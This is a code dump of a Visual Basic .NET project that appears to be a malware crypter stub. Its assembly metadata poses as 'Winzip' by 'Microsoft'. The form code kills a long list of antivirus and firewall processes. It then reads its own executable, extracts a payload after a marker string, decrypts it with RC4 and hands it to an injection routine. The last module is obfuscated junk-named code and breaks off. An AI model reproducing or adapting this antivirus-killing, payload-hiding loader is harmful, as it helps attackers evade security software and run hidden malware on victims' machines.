JrsGhost(i).Kill()
|
||||
Case "Tmas"
|
||||
JrsGhost(i).Kill()
|
||||
Case "swdoctor"
|
||||
JrsGhost(i).Kill()
|
||||
Case "spycatcher"
|
||||
JrsGhost(i).Kill()
|
||||
Case "nisum"
|
||||
JrsGhost(i).Kill()
|
||||
Case "MpfService"
|
||||
JrsGhost(i).Kill()
|
||||
Case "blackd"
|
||||
JrsGhost(i).Kill()
|
||||
Case "fsdfwd"
|
||||
JrsGhost(i).Kill()
|
||||
Case "smc"
|
||||
JrsGhost(i).Kill()
|
||||
Case "zlclient"
|
||||
JrsGhost(i).Kill()
|
||||
Case "persfw"
|
||||
JrsGhost(i).Kill()
|
||||
Case "efpeadm"
|
||||
JrsGhost(i).Kill()
|
||||
Case "fsguiexe"
|
||||
JrsGhost(i).Kill()
|
||||
Case "kpf4gui"
|
||||
JrsGhost(i).Kill()
|
||||
Case "pccpfw"
|
||||
JrsGhost(i).Kill()
|
||||
End Select
|
||||
Next
|
||||
End Function
|
||||
Public Shared Function rc4(ByVal message As String, ByVal password As String) As String
|
||||
Dim i As Integer = 0
|
||||
Dim j As Integer = 0
|
||||
Dim cipher As New StringBuilder
|
||||
Dim returnCipher As String = String.Empty
|
||||
Dim sbox As Integer() = New Integer(256) {}
|
||||
Dim key As Integer() = New Integer(256) {}
|
||||
Dim intLength As Integer = password.Length
|
||||
Dim a As Integer = 0
|
||||
While a <= 255
|
||||
Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))
|
||||
key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
|
||||
sbox(a) = a
|
||||
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
|
||||
End While
|
||||
Dim x As Integer = 0
|
||||
Dim b As Integer = 0
|
||||
While b <= 255
|
||||
x = (x + sbox(b) + key(b)) Mod 256
|
||||
Dim tempSwap As Integer = sbox(b)
|
||||
sbox(b) = sbox(x)
|
||||
sbox(x) = tempSwap
|
||||
System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
|
||||
End While
|
||||
a = 1
|
||||
While a <= message.Length
|
||||
Dim itmp As Integer = 0
|
||||
i = (i + 1) Mod 256
|
||||
j = (j + sbox(i)) Mod 256
|
||||
itmp = sbox(i)
|
||||
sbox(i) = sbox(j)
|
||||
sbox(j) = itmp
|
||||
Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
|
||||
Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
|
||||
itmp = Asc(ctmp)
|
||||
Dim cipherby As Integer = itmp Xor k
|
||||
cipher.Append(Chr(cipherby))
|
||||
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
|
||||
End While
|
||||
returnCipher = cipher.ToString
|
||||
cipher.Length = 0
|
||||
Return returnCipher
|
||||
End Function
|
||||
|
||||
Const filesplit = "@Toxicisthebest@"
|
||||
Public Shared Function StrToByteArray(ByVal str As String) As Byte()
|
||||
Dim encoding As New System.Text.ASCIIEncoding()
|
||||
Return encoding.GetBytes(str)
|
||||
End Function 'StrToByteArray
|
||||
Function ToByte(ByVal s As String) As Byte()
|
||||
Return System.Text.ASCIIEncoding.ASCII.GetBytes(s)
|
||||
End Function
|
||||
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
|
||||
kav()
|
||||
On Error Resume Next
|
||||
Dim TPath As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\"
|
||||
Dim file1, filezb4(), filezafter, fd As String
|
||||
|
||||
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
|
||||
file1 = Space(LOF(1))
|
||||
FileGet(1, file1)
|
||||
FileClose(1)
|
||||
filezb4 = Split(file1, filesplit)
|
||||
filezafter = rc4(filezb4(1), "Toxicisthebest")
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Dim CryptedFile As Byte()
|
||||
CryptedFile = System.Text.Encoding.GetEncoding(1252).GetBytes(filezafter)
|
||||
dd.makeit(CryptedFile, Application.ExecutablePath)
|
||||
|
||||
|
||||
|
||||
End
|
||||
End Sub
|
||||
|
||||
|
||||
|
||||
End Class
|
||||
@@ -0,0 +1,30 @@
|
||||
Imports System.Net
|
||||
Imports System.IO
|
||||
Imports System.Diagnostics
|
||||
|
||||
Module Module1
|
||||
Function GetPage(ByVal pageUrl As String) As String
|
||||
Dim s As String = ""
|
||||
Try
|
||||
Dim request As HttpWebRequest = WebRequest.Create(pageUrl)
|
||||
Dim response As HttpWebResponse = request.GetResponse()
|
||||
Using reader As StreamReader = New StreamReader(response.GetResponseStream())
|
||||
s = reader.ReadToEnd()
|
||||
End Using
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine("FAIL: " + ex.Message)
|
||||
End Try
|
||||
Return s
|
||||
End Function
|
||||
|
||||
Function ExtractBody(ByVal page As String) As String
|
||||
Return System.Text.RegularExpressions.Regex.Replace(page, ".*<body[^>]*>(.*)</body>.*", "$1", System.Text.RegularExpressions.RegexOptions.IgnoreCase)
|
||||
End Function
|
||||
|
||||
Sub Main()
|
||||
Dim page As String = GetPage("http://yoururl.foo")
|
||||
Dim body As String = ExtractBody(page)
|
||||
Debug.WriteLine(body)
|
||||
End Sub
|
||||
|
||||
End Module
|
||||
+38
@@ -0,0 +1,38 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' This code was generated by a tool.
|
||||
' Runtime Version:4.0.30319.42000
|
||||
'
|
||||
' Changes to this file may cause incorrect behavior and will be lost if
|
||||
' the code is regenerated.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
|
||||
Namespace My
|
||||
|
||||
'NOTE: This file is auto-generated; do not modify it directly. To make changes,
|
||||
' or if you encounter build errors in this file, go to the Project Designer
|
||||
' (go to Project Properties or double-click the My Project node in
|
||||
' Solution Explorer), and make changes on the Application tab.
|
||||
'
|
||||
Partial Friend Class MyApplication
|
||||
|
||||
<Global.System.Diagnostics.DebuggerStepThroughAttribute()> _
|
||||
Public Sub New()
|
||||
MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows)
|
||||
Me.IsSingleInstance = false
|
||||
Me.EnableVisualStyles = true
|
||||
Me.SaveMySettingsOnExit = true
|
||||
Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses
|
||||
End Sub
|
||||
|
||||
<Global.System.Diagnostics.DebuggerStepThroughAttribute()> _
|
||||
Protected Overrides Sub OnCreateMainForm()
|
||||
Me.MainForm = Global.dgfgfgfgf.Form1
|
||||
End Sub
|
||||
End Class
|
||||
End Namespace
|
||||
@@ -0,0 +1,10 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<MyApplicationData xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
|
||||
<MySubMain>true</MySubMain>
|
||||
<MainForm>Form1</MainForm>
|
||||
<SingleInstance>false</SingleInstance>
|
||||
<ShutdownMode>0</ShutdownMode>
|
||||
<EnableVisualStyles>true</EnableVisualStyles>
|
||||
<AuthenticationMode>0</AuthenticationMode>
|
||||
<SaveMySettingsOnExit>true</SaveMySettingsOnExit>
|
||||
</MyApplicationData>
|
||||
@@ -0,0 +1,39 @@
|
||||
Imports System.Resources
|
||||
|
||||
Imports System
|
||||
Imports System.Reflection
|
||||
Imports System.Runtime.InteropServices
|
||||
|
||||
' General Information about an assembly is controlled through the following
|
||||
' set of attributes. Change these attribute values to modify the information
|
||||
' associated with an assembly.
|
||||
|
||||
' Review the values of the assembly attributes
|
||||
|
||||
<Assembly: AssemblyTitle("crypt sub")>
|
||||
<Assembly: AssemblyDescription("Winzip")>
|
||||
<Assembly: AssemblyCompany("Microsoft")>
|
||||
<Assembly: AssemblyProduct("Extractor")>
|
||||
<Assembly: AssemblyCopyright("Copyright © 2010")>
|
||||
<Assembly: AssemblyTrademark("India")>
|
||||
|
||||
<Assembly: ComVisible(True)>
|
||||
|
||||
'The following GUID is for the ID of the typelib if this project is exposed to COM
|
||||
<Assembly: Guid("e9a29ab1-f03c-4fef-8544-0c43502dcedc")>
|
||||
|
||||
' Version information for an assembly consists of the following four values:
|
||||
'
|
||||
' Major Version
|
||||
' Minor Version
|
||||
' Build Number
|
||||
' Revision
|
||||
'
|
||||
' You can specify all the values or you can default the Build and Revision Numbers
|
||||
' by using the '*' as shown below:
|
||||
' <Assembly: AssemblyVersion("1.0.*")>
|
||||
|
||||
<Assembly: AssemblyVersion("1.0.0.0")>
|
||||
<Assembly: AssemblyFileVersion("1.0.0.0")>
|
||||
|
||||
<Assembly: NeutralResourcesLanguageAttribute("lv")>
|
||||
+63
@@ -0,0 +1,63 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' This code was generated by a tool.
|
||||
' Runtime Version:4.0.30319.42000
|
||||
'
|
||||
' Changes to this file may cause incorrect behavior and will be lost if
|
||||
' the code is regenerated.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
Imports System
|
||||
|
||||
Namespace My.Resources
|
||||
|
||||
'This class was auto-generated by the StronglyTypedResourceBuilder
|
||||
'class via a tool like ResGen or Visual Studio.
|
||||
'To add or remove a member, edit your .ResX file then rerun ResGen
|
||||
'with the /str option, or rebuild your VS project.
|
||||
'''<summary>
|
||||
''' A strongly-typed resource class, for looking up localized strings, etc.
|
||||
'''</summary>
|
||||
<Global.System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0"), _
|
||||
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
|
||||
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
|
||||
Global.Microsoft.VisualBasic.HideModuleNameAttribute()> _
|
||||
Friend Module Resources
|
||||
|
||||
Private resourceMan As Global.System.Resources.ResourceManager
|
||||
|
||||
Private resourceCulture As Global.System.Globalization.CultureInfo
|
||||
|
||||
'''<summary>
|
||||
''' Returns the cached ResourceManager instance used by this class.
|
||||
'''</summary>
|
||||
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager
|
||||
Get
|
||||
If Object.ReferenceEquals(resourceMan, Nothing) Then
|
||||
Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("dgfgfgfgf.Resources", GetType(Resources).Assembly)
|
||||
resourceMan = temp
|
||||
End If
|
||||
Return resourceMan
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Overrides the current thread's CurrentUICulture property for all
|
||||
''' resource lookups using this strongly typed resource class.
|
||||
'''</summary>
|
||||
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Friend Property Culture() As Global.System.Globalization.CultureInfo
|
||||
Get
|
||||
Return resourceCulture
|
||||
End Get
|
||||
Set
|
||||
resourceCulture = value
|
||||
End Set
|
||||
End Property
|
||||
End Module
|
||||
End Namespace
|
||||
@@ -0,0 +1,117 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
+73
@@ -0,0 +1,73 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' This code was generated by a tool.
|
||||
' Runtime Version:4.0.30319.42000
|
||||
'
|
||||
' Changes to this file may cause incorrect behavior and will be lost if
|
||||
' the code is regenerated.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
|
||||
Namespace My
|
||||
|
||||
<Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
|
||||
Global.System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "14.0.0.0"), _
|
||||
Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Partial Friend NotInheritable Class MySettings
|
||||
Inherits Global.System.Configuration.ApplicationSettingsBase
|
||||
|
||||
Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings)
|
||||
|
||||
#Region "My.Settings Auto-Save Functionality"
|
||||
#If _MyType = "WindowsForms" Then
|
||||
Private Shared addedHandler As Boolean
|
||||
|
||||
Private Shared addedHandlerLockObject As New Object
|
||||
|
||||
<Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs)
|
||||
If My.Application.SaveMySettingsOnExit Then
|
||||
My.Settings.Save()
|
||||
End If
|
||||
End Sub
|
||||
#End If
|
||||
#End Region
|
||||
|
||||
Public Shared ReadOnly Property [Default]() As MySettings
|
||||
Get
|
||||
|
||||
#If _MyType = "WindowsForms" Then
|
||||
If Not addedHandler Then
|
||||
SyncLock addedHandlerLockObject
|
||||
If Not addedHandler Then
|
||||
AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings
|
||||
addedHandler = True
|
||||
End If
|
||||
End SyncLock
|
||||
End If
|
||||
#End If
|
||||
Return defaultInstance
|
||||
End Get
|
||||
End Property
|
||||
End Class
|
||||
End Namespace
|
||||
|
||||
Namespace My
|
||||
|
||||
<Global.Microsoft.VisualBasic.HideModuleNameAttribute(), _
|
||||
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
|
||||
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute()> _
|
||||
Friend Module MySettingsProperty
|
||||
|
||||
<Global.System.ComponentModel.Design.HelpKeywordAttribute("My.Settings")> _
|
||||
Friend ReadOnly Property Settings() As Global.dgfgfgfgf.My.MySettings
|
||||
Get
|
||||
Return Global.dgfgfgfgf.My.MySettings.Default
|
||||
End Get
|
||||
End Property
|
||||
End Module
|
||||
End Namespace
|
||||
@@ -0,0 +1,7 @@
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)" UseMySettingsClassName="true">
|
||||
<Profiles>
|
||||
<Profile Name="(Default)" />
|
||||
</Profiles>
|
||||
<Settings />
|
||||
</SettingsFile>
|
||||
@@ -0,0 +1,3 @@
|
||||
Module Module1
|
||||
|
||||
End Module
|
||||
@@ -0,0 +1,178 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="14.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProductVersion>9.0.21022</ProductVersion>
|
||||
<SchemaVersion>2.0</SchemaVersion>
|
||||
<ProjectGuid>{040E6A60-B7D4-4D1C-9EC1-D5033821695B}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<StartupObject>dgfgfgfgf.My.MyApplication</StartupObject>
|
||||
<RootNamespace>dgfgfgfgf</RootNamespace>
|
||||
<AssemblyName>stub</AssemblyName>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<MyType>WindowsForms</MyType>
|
||||
<TargetFrameworkVersion>v3.5</TargetFrameworkVersion>
|
||||
<OptionExplicit>On</OptionExplicit>
|
||||
<OptionCompare>Binary</OptionCompare>
|
||||
<OptionStrict>Off</OptionStrict>
|
||||
<OptionInfer>On</OptionInfer>
|
||||
<ApplicationIcon>Earth.ico</ApplicationIcon>
|
||||
<PublishUrl>publish\</PublishUrl>
|
||||
<Install>true</Install>
|
||||
<InstallFrom>Disk</InstallFrom>
|
||||
<UpdateEnabled>false</UpdateEnabled>
|
||||
<UpdateMode>Foreground</UpdateMode>
|
||||
<UpdateInterval>7</UpdateInterval>
|
||||
<UpdateIntervalUnits>Days</UpdateIntervalUnits>
|
||||
<UpdatePeriodically>false</UpdatePeriodically>
|
||||
<UpdateRequired>false</UpdateRequired>
|
||||
<MapFileExtensions>true</MapFileExtensions>
|
||||
<ApplicationRevision>0</ApplicationRevision>
|
||||
<ApplicationVersion>1.0.0.%2a</ApplicationVersion>
|
||||
<IsWebBootstrapper>false</IsWebBootstrapper>
|
||||
<UseApplicationTrust>false</UseApplicationTrust>
|
||||
<BootstrapperEnabled>true</BootstrapperEnabled>
|
||||
<FileUpgradeFlags>
|
||||
</FileUpgradeFlags>
|
||||
<UpgradeBackupLocation>
|
||||
</UpgradeBackupLocation>
|
||||
<OldToolsVersion>3.5</OldToolsVersion>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<DefineDebug>true</DefineDebug>
|
||||
<DefineTrace>true</DefineTrace>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DocumentationFile>stub.xml</DocumentationFile>
|
||||
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022,42353,42354,42355</NoWarn>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<DefineDebug>false</DefineDebug>
|
||||
<DefineTrace>true</DefineTrace>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>..\..\..\</OutputPath>
|
||||
<DocumentationFile>stub.xml</DocumentationFile>
|
||||
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022,42353,42354,42355</NoWarn>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Leet Library, Version=1.0.0.0, Culture=neutral, processorArchitecture=MSIL">
|
||||
<SpecificVersion>False</SpecificVersion>
|
||||
<HintPath>..\..\..\..\..\Program Files\Microsoft Visual Studio 9.0\MSDN Express Library\1033\Leet Library.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Data" />
|
||||
<Reference Include="System.Deployment" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
<Reference Include="System.Xml" />
|
||||
<Reference Include="System.Core">
|
||||
<RequiredTargetFramework>3.5</RequiredTargetFramework>
|
||||
</Reference>
|
||||
<Reference Include="System.Xml.Linq">
|
||||
<RequiredTargetFramework>3.5</RequiredTargetFramework>
|
||||
</Reference>
|
||||
<Reference Include="System.Data.DataSetExtensions">
|
||||
<RequiredTargetFramework>3.5</RequiredTargetFramework>
|
||||
</Reference>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Import Include="Microsoft.VisualBasic" />
|
||||
<Import Include="System" />
|
||||
<Import Include="System.Collections" />
|
||||
<Import Include="System.Collections.Generic" />
|
||||
<Import Include="System.Data" />
|
||||
<Import Include="System.Drawing" />
|
||||
<Import Include="System.Diagnostics" />
|
||||
<Import Include="System.Windows.Forms" />
|
||||
<Import Include="System.Linq" />
|
||||
<Import Include="System.Xml.Linq" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="ApplicationEvents.vb" />
|
||||
<Compile Include="Class1.vb" />
|
||||
<Compile Include="Form1.vb">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Form1.Designer.vb">
|
||||
<DependentUpon>Form1.vb</DependentUpon>
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="junk.vb" />
|
||||
<Compile Include="Module2.vb" />
|
||||
<Compile Include="My Project\AssemblyInfo.vb" />
|
||||
<Compile Include="My Project\Application.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DependentUpon>Application.myapp</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="My Project\Resources.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DesignTime>True</DesignTime>
|
||||
<DependentUpon>Resources.resx</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="My Project\Settings.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DependentUpon>Settings.settings</DependentUpon>
|
||||
<DesignTimeSharedInput>True</DesignTimeSharedInput>
|
||||
</Compile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="Form1.resx">
|
||||
<DependentUpon>Form1.vb</DependentUpon>
|
||||
<SubType>Designer</SubType>
|
||||
</EmbeddedResource>
|
||||
<EmbeddedResource Include="My Project\Resources.resx">
|
||||
<Generator>VbMyResourcesResXFileCodeGenerator</Generator>
|
||||
<LastGenOutput>Resources.Designer.vb</LastGenOutput>
|
||||
<CustomToolNamespace>My.Resources</CustomToolNamespace>
|
||||
<SubType>Designer</SubType>
|
||||
</EmbeddedResource>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="My Project\Application.myapp">
|
||||
<Generator>MyApplicationCodeGenerator</Generator>
|
||||
<LastGenOutput>Application.Designer.vb</LastGenOutput>
|
||||
</None>
|
||||
<None Include="My Project\Settings.settings">
|
||||
<Generator>SettingsSingleFileGenerator</Generator>
|
||||
<CustomToolNamespace>My</CustomToolNamespace>
|
||||
<LastGenOutput>Settings.Designer.vb</LastGenOutput>
|
||||
</None>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<BootstrapperPackage Include="Microsoft.Net.Framework.2.0">
|
||||
<Visible>False</Visible>
|
||||
<ProductName>.NET Framework 2.0 %28x86%29</ProductName>
|
||||
<Install>false</Install>
|
||||
</BootstrapperPackage>
|
||||
<BootstrapperPackage Include="Microsoft.Net.Framework.3.0">
|
||||
<Visible>False</Visible>
|
||||
<ProductName>.NET Framework 3.0 %28x86%29</ProductName>
|
||||
<Install>false</Install>
|
||||
</BootstrapperPackage>
|
||||
<BootstrapperPackage Include="Microsoft.Net.Framework.3.5">
|
||||
<Visible>False</Visible>
|
||||
<ProductName>.NET Framework 3.5</ProductName>
|
||||
<Install>true</Install>
|
||||
</BootstrapperPackage>
|
||||
<BootstrapperPackage Include="Microsoft.Windows.Installer.3.1">
|
||||
<Visible>False</Visible>
|
||||
<ProductName>Windows Installer 3.1</ProductName>
|
||||
<Install>true</Install>
|
||||
</BootstrapperPackage>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Content Include="Earth.ico" />
|
||||
<Content Include="File 72.ico" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.VisualBasic.targets" />
|
||||
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
|
||||
Other similar extension points exist, see Microsoft.Common.targets.
|
||||
<Target Name="BeforeBuild">
|
||||
</Target>
|
||||
<Target Name="AfterBuild">
|
||||
</Target>
|
||||
-->
|
||||
</Project>
|
||||
@@ -0,0 +1,16 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003" ToolsVersion="14.0">
|
||||
<PropertyGroup>
|
||||
<PublishUrlHistory>publish\</PublishUrlHistory>
|
||||
<InstallUrlHistory>
|
||||
</InstallUrlHistory>
|
||||
<SupportUrlHistory>
|
||||
</SupportUrlHistory>
|
||||
<UpdateUrlHistory>
|
||||
</UpdateUrlHistory>
|
||||
<BootstrapperUrlHistory>
|
||||
</BootstrapperUrlHistory>
|
||||
<FallbackCulture>en-US</FallbackCulture>
|
||||
<VerifyUploadedFiles>false</VerifyUploadedFiles>
|
||||
</PropertyGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,202 @@
|
||||
Module BssuRMGFuNGFIxsjSvfr
|
||||
|
||||
Public Function HrHzRGyhCAQrKlHswXPasPGCNJZQmEsECjulDzEGPWkmOFzGcPjXfNhWSIqbcXYKoPikTUstuzxQfCZnQvCnaahoYBjFWdzjRJVtikbjyrQCcvROllEhCoEQH(ByVal bOoxdmxCkOhOTXoJ As String) As String
|
||||
On Error GoTo GJWSqHoufpwUdqVYtXFxJbBwLmkMcHZDmxTqdZsOmdIBgroARnBcHVGRvwPw
|
||||
